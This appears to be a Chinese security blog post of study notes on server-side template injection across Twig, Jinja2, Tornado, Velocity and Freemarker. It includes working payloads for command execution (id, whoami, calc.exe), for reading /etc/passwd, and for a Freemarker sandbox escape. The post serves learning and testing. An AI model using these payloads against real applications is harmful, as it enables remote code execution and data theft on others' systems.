Sissel's blog

【安全研究】Hackfest2020 template-injection-workshop

字数统计: 1.1k阅读时长: 5 min
2020/06/27 Share

跟着这个repo,简单梳理了下常见模板引擎的特征及利用方式。

https://gosecure.github.io/template-injection-workshop/

很少在实际测试中遇到ssti,大部分都是在拿到后台后,修改模板文件,造成后续的命令执行。很多cms可能采用自己的模板引擎(更容易出现漏洞,很多都会用eval偷懒完成各种操作)。

php

Twig(php)

1
2
3
4
5
Hello {{ var }}
Hello {{ var|escape }}

{{88-8}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

Python

jinja2(Python Flask)

这可是老本行了

1
2
3
4
5
6
7
8
9
10
11
12
{{ message }}
{{ foo.bar }}
{{ foo['bar'] }} #两种方法都可以访问属性
{% print(123) %}

{{''.__class__.__mro__[2].__subclasses__()[40]("/etc/passwd","r").read()}}
# 主要使用类继承链来拿到沙盒中缺少的方法

python2里可以拿 site.Printer site.Quitter 找到 os
python3里有 os._wrap_close 直接拿os

都是在 __init__.__globals__ 找到os模块或模块里的popen组件

Tornado(Python Tornado)

第一次见应该是2018年的网鼎杯了,更多的是读取secret_key来伪造cookie

1
{{handler.settings}}

翻阅文档和尝试发现,Tornado的模板引擎中,保留了许多python的builtin函数。所以除了类继承链,他比flask简单很多。甚至还有下面的写法。
1
2
{%import os%}
{{os.popen("whoami").read()}}

Java

Velocity

具体的调试过程可以参考先知的两篇文章:

1
2
3
4
5
6
7
8
9
10
#set($a ="velocity")
#set($b=1)
#set($arrayName=["1","2"])

'$var' ## 结果为:$var
"$var" ## 结果为:velocity
$a.getClass()

#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("touch /tmp/rai4over")

Freemarker

另一个java常用的模板引擎

1
2
${message}
${user.displayName}

该框架中,有built-ins函数的概念
https://freemarker.apache.org/docs/ref_builtins_expert.html

1
boolean, byte, eval, new, api

有神奇的调用方式:

1
2
${nbAverageUsers}
${nbAverageUsers?abs}

api函数直接获得classloader,但需要api_builtin_enabled=TRUE时才生效,而2.3.22版本之后默认false

1
<#assign classLoader=object?api.class.protectionDomain.classLoader>

new函数,这样构造payload就比较简单,好在2.3.17版本开始,有这样的限制:

1
2
3
Configuration.setNewBuiltinClassResolver(TemplateClassResolver)
or
new_builtin_class_resolver=FALSE

直接的payload
1
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }

一些payload列举

利用api

1
2
3
4
5
6
7
8
9
10
11
12
13
14
eg1:
<#assign classLoader=object?api.class.getClassLoader()>
${classLoader.loadClass("our.desired.class")}

eg2:
<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]

利用new
主要是寻找实现了 TemplateModel 接口的可利用类来进行实例化。freemarker.template.utility包中存在三个符合条件的类,分别为Execute类、ObjectConstructor类、JythonRuntime类。

1
2
3
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")</@value> //@value为自定义标签

Freemaker逃逸沙盒

高版本中加入了黑白名单,限制了可以获取到的class。

爆破可以使用的classLoader函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<#list .data_model as key, object_test>

<b>Testing "${key}":</b><br/>
<#attempt>

<#assign classloader=object_test.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>

Shell ! (
${dwf.newInstance(ec,null)("id")}
)

<#recover>
failed
</#attempt>

<br/><br/>
</#list>

总结

ssti并非很复杂的漏洞,其中php和Python的模板引擎都较好理解与调试。Java的 Freemaker 模板引擎加入了class的黑白名单,在学一段时间的Java之后考虑回来调一调这个洞。

引用

逃逸安全的模板沙箱(一)——FreeMarker:
https://paper.seebug.org/1304/

CVE-2019-3396 Confluence Velocity SSTI漏洞浅析:
https://xz.aliyun.com/t/8135

template-injection-workshop
https://gosecure.github.io/template-injection-workshop/

CATALOG
  1. 1. php
    1. 1.1. Twig(php)
  2. 2. Python
    1. 2.1. jinja2(Python Flask)
    2. 2.2. Tornado(Python Tornado)
  3. 3. Java
    1. 3.1. Velocity
    2. 3.2. Freemarker
      1. 3.2.1. 一些payload列举
    3. 3.3. Freemaker逃逸沙盒
  4. 4. 总结
  5. 5. 引用